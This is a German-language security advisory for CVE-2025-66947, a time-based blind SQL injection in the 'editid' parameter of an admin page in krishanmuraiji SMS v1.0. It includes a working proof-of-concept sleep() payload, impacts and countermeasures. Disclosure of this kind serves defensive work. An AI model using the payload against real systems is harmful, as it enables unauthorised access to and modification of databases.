CVE-2025-66947

Zeitbasierte Blind-SQL-Injection in krishanmuraiji SMS v1.0

⏱️ Visueller Vergleich: normale Antwort vs. ~6s verzögerte Antwort

🔍 Zusammenfassung

TL;DR: Ein GET-Parameter in einem Admin-Modul ermöglicht zeitbasierte SQL-Injection über Antwortverzögerungen.

Eine zeitbasierte Blind-SQL-Injection-Schwachstelle existiert in krishanmuraiji SMS v1.0 aufgrund einer unzureichenden Validierung eines GET-Parameters in einem administrativen Modul.

---

🎯 Betroffene Komponente

• Datei: /studentms/admin/edit-class-detail.php
• Parameter: editid (GET)
• Problem: Unbereinigte Eingabe wird direkt in einer SQL-Abfrage verwendet

🧪 Proof of Concept (PoC)

Schritt 1 — Normale Anfrage

/studentms/admin/edit-class-detail.php?editid=12

Schritt 2 — Zeitbasierten Payload injizieren

/studentms/admin/edit-class-detail.php?editid=12*if(now()=sysdate(),sleep(6),0)

Erwartetes Ergebnis

• Serverantwort um ~6 Sekunden verzögert
• Keine sichtbare Fehlermeldung
• Verzögerung bestätigt SQL-Injection

⏱️ Verifizierung der Zeitverzögerung

Payload	Verzögerung
sleep(3)	~3s
sleep(6)	~6s
sleep(15)	~15s

Konsistente Verzögerung = SQL-Injection bestätigt

📌 Wo dieses Muster auftritt

Dieses Schwachstellenmuster tritt häufig auf in:

• PHP-CRUD-Anwendungen
• Studenten-/Bibliotheks-/Inventarsystemen
• Admin-Panels, die numerischen GET-Parametern vertrauen
• Anwendungen mit deaktivierten SQL-Fehlern

🛡️ Auswirkungen

• Offenlegung von Datenbankinformationen
• Unbefugte Datenänderung
• Privilegienerweiterung
• Kompromittierung der Backend-Datenbank

🧠 Warum das wichtig ist

Selbst wenn eine Authentifizierung erforderlich ist und Fehler verborgen sind,
bleibt zeitbasierte SQL-Injection ausnutzbar und gefährlich.

Schweregrad: Hoch

🔧 Gegenmaßnahmen

• Prepared Statements verwenden
• Numerische Parameter validieren
• SQL-Abfragenverkettung vermeiden
• Datenbankzugriff nach dem Least-Privilege-Prinzip gewähren

🆔 CVE

CVE-2025-66947

👤 Entdecker

Ranjan Kumar

⚠️ Haftungsausschluss

Dieser PoC dient ausschließlich Lehr- und Verteidigungszwecken.

CVE-2025-66947, SQL Injection, zeitbasierte Blind-SQL-Injection, PHP, Admin-Panel